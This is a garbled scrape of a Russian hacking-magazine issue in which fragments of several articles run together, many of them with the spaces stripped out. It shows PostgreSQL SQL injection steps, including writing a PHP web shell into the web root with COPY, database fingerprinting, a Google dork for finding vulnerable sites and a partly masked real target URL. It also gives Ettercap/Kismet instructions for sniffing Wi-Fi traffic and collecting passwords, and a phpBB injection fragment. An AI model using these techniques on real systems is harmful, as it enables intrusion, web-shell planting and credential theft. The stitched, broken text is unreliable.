книги хакеры / журнал хакер / 101_Optimized

ВозможностипрограммыCOSS

4. Для записи данных из файла в таблицу или наоборот, из таблицы в файл в PostgreSQL, используется оператор COPY. Вот его синтаксис, взятый из документации:

COPY tablename [ ( column [, ...] ) ] TO { 'filename' | STDOUT }

[ [ WITH ]

[ BINARY ]

[ OIDS ]

[ DELIMITER [ AS ] 'delimiter' ] [ NULL [ AS ] 'null string' ] ]

При копировании данных из таблицы в файл все просто:

copy targettable to '/home/www/';copy.

Дляполученияшеллавполетаблицыtargettable,естественно, долженбытьпрописанкод,создающийшелл(примерзапроса: insertinto«targettable"(columnname)values('<?phpsystem($_ GET["cmd"]);?>');).Полеcolumnnameдолжноиметьстроковой тип(char,varchar).Единственное«но»—нужнысоответствующие правазаписивфайлизаписивдиректорию.Либоможнопопытатьсяперезаписатьужесуществующийфайл.Далеемыпросто обращаемсяксайтунапрямую,посколькузаданаWWW-директо- рия(впримере).Вобщем,тутмноговариантов,можно,кпримеру, ещеипроапдейтитьтаблицусвоимизначениями(UPDATE). Если же нужно копировать существующий файл в таблицу, то последовательность действий должна быть следующей. Создаем новую таблицу с одним столбцом, выполняем запрос, копирующий файл в таблицу. Затем выполняем запрос для выбора данных из таблицы.

Самизапросыпопорядку: create table mytable(columnname);

create table copy mytable (columnname) from '/home/www/file' union select culumnname from «mytable»

5. Числа 0 и 1 не равнозначны булевым значениям TRUE и FALSE. Об этом свидетельствует и сам ответ сервера.

Запрос: http://club.*****.ru/?part_id=10 or 1

Вывод:

Warning: pg_query(): Query failed: ERROR: Argument of or must be type boolean, not type integer in var/www/htdocs/veresk_ club/classes/SQL.class.php on line 25

Fatal error: Call to undefined function: fetchrow() in /var/www/ htdocs/veresk_club/classes/SQL.class.php on line 25

<? php

$conn = pg_pconnect ("dbname=publisher"); if (!$conn) {

echo "An error occured.\n"; exit;

}

$result = pg_query ($conn, "SELECT * FROM authors"); if (!$result) {

echo "An error occured.\n"; exit;

}

$arr = pg_fetch_array ($result, 0, PGSQL_NUM);

echo $arr[0] . " <- array\n"; $arr = pg_fetch_array ($result, 1, PGSQL_ASSOC);

echo $arr["author"] . " <- array\ n";

?>

Идентификация

При проведении атаки типа sql-injection взломщик первым делом определяет сервер базы данных, с которым придется проводить последующие манипуляции. В MySQL все просто: подставил кавычку в запрос, ну или, в крайнем случае, составил логическое выражение — получил ошибку. Чтобы точно определить, что мы взаимодействуем с PostgreSQL, нужно ввести в

запрос специальные операторы или функции, присутствующие исключительно в PostgreSQL. Выделим основные.

Операторы:

|/ — квадратный корень; !! — префиксный оператор; ! — факториал; % — остаток от деления;

^ — возведение в степень; ||/ — кубический корень. Функции:

sign() — знак числа, переданного в качестве аргумента;

cbrt() — кубический корень числа, передаваемого в качестве аргумента.

Если мы получаем пустую страницу или шаблон страницы загружается без динамического содержимого, то будь уверен — это PostgreSQL.

Впоискахцели

Примечательно, что сайты с уязвимыми скриптами достаточно просто найти через Google. Для этого есть несколько запросов:

1. PostgreSQL query failed: ERROR: parser: parse error

Снифанемпомаленькой

Что же такое «снифинг» и с чем его едят? Сейчас я, поидее, должен начать разглагольствовать о снифинге и сниферах, о том, как прикольно, что все это есть, и как круты те, кто все это придумал. Да, молодцы, а мы сегодня будем пожинать плоды их труда. Отдает скрипткидингом? Нет? Ну и правильно :). В общем, мы сегодня будем перехватывать трафик, который болтается в воздухе. Кстати, «sniff» в переводе с английского означает «нюхать». Так что…

Из огромного набора вардрайверского софта нам понадобятся такие монстры, как Kismet, Ettercap и AirCrack. Если о первом и последнем было написано немало и в этой статье я затрону лишь некоторые их тонкости, то про Ettercap мы поговорим подробнее: установим, рассмотрим его основные возможности, разберемся, как он работает. Но сначала немного истории и теории. ПрограммаEttercapувиделасвет25января

2001годаблагодаряMarcoValleri(NaGa)иAlberto Ornaghi(ALoR).Многоводыутеклостехпор.Программаоченьсильноподрослакаквразмере,

такивсвоихвозможностях,реализованных различнымифункциямиипримочками.С5июля 2004годаонасталасильнопохожанату,какоймы знаемеесейчас.Появилисьверсииподвсераспространенныеплатформы,такиекак*BSD,*nix, MacOSидажеWindows.Программаиспользует

ARPpoisoningиman-in-the-middle,чтобыпере-

хватыватьподключениямеждудвумяхостами. Тогожеможнодобиться,используяMAC-based sniffingmode.Ettercapпозволяетперехватывать SSH1,HTTPSидругиезащищенныепротоколы, расшифровыватьпаролидляследующих

«Тридевицыподокномпрялипоздновечерком…»

протоколов:TELNET,FTP,POP,RLOGIN,SSH1,ICQ,SMB,MySQL,HTTP, NNTP,X11,NAPSTER,IRC,RIP,BGP,SOCKS5,IMAP4,VNC,LDAP,NFS, SNMP,HALFLIFE,QUAKE3,MSN,YMSG.Программаможетперехватывать пакеты,неподключаяськсети.Намэтоможетпригодиться,например,в ситуации,когдаимеетсяудаленнаябеспроводнаясетьсоченьмощной антеннойипередатчиком,причемнашеоборудованиесетьвидит,ноподключитьсянеможет,посколькумощностинашихпримочекнехватаетнато, чтобыпосылатьвнеепакеты,авотловить—пожалуйста.Итак,поехали!

Вчансголовой

Установка Ettercap ничем не отличается от установки какой-либо другой программы под Linux:

иНСтАЛЛЯциЯиЗиСХОДНОГОКОДА

tar — zxvf ettercap-NG-0.7.3.tar.gz cd ettercap-NG-0.7.3

sudo configure sudo make

sudo make install

После установки программы надо бы запустить ее и посмотреть, что она может. Существует версия для GTK+, но я предпочитаю консольную. За запуск консольной версии отвечает ключ ‘–С’:

sudo ettercap — C

Дальше — как показано на скриншотах: «Sniff Unified sniffing  iface_name File Start sniffing».

Теперь осталось направить антенну в нужную сторону и собирать красиво вываливающиеся пароли. Если сеть шифрованная, но у нас имеется ключ, то Ettercap можно его скормить и все шифрованные пакеты будут разобраны по кусочкам.

На этом ликбез по программе Ettercap окончен. Если ты заинтересовался, можешь почитать о ней в Сети, благо информации по ней там очень много.

Процессзапускапрограммы

KismetиEttercapрядышком

А теперь я расскажу о том, как одновременно, используя одну карточку, собирать уязвимые IVS-пакеты, ломать ключ, заныканный в этих пакетах, и снифать близлежащие нешифрованные, либо уже с ломаным ключом сети.

Надфилемпоконфигу

Первым делом нам понадобится поправить конфиг Kismet.

sudo mcedit /etc/Kismet/kismet.conf

... находим в нем строки:

#Do we write data packets to a FIFO for an external data-IDS (such as

Snort)?

#See the docs before enabling this. #fifo=/tmp/kismet_dump

Убираем символ комментария перед параметром fifo, чтобы получилось:

fifo=/tmp/kismet_dump

Закрываем конфиг (с сохранением) и топаем в другое окно/вкладку терминала.

Уженепростосито

Для начала нам нужно запустить Kismet, чтобы он создал temp-файл, из которого будет читать Ettercap.

Не обращая внимания на матерок, переходим к другому окну и запускаем Ettercap с параметром ‘–r’ (это ключ чтения файла), указывая на tempфайл, создаваемый конфигом.

Ettercap — C –r /tmp/kismet_dump

Затем: «Sniff Unified sniffing iface_name». Теперь вместо имени интерфейса пишем «all» или «any».

Маг

/ mag@wapp.ru /

a.auth_vote, a.auth_pollcreate FROM phpbb_forums a WHERE a.forum_id = 1\'

Наметанный глаз заядлого phpbb’шника сразу заметит бесполезность этой ошибки, так как, во-первых, кавычка экранируется, а во-вторых, весь запрос идет только в таблицу phpbb_forums и файл auth.php. Здесь лишь данные типа tinyint(1), то есть одна цифра

в каждой ячейке. С такой багой многого не соберешь, использовать UNION нет смысла, поскольку ни один хеш ни одного админа не вытащишь… Конечно, можно было перебирать все символы в хеше пароля через встроенные функции MySQL, но снова помешала лень. Не отчаявшись, я продолжил свои исследования и нашел еще несколько бажных параметров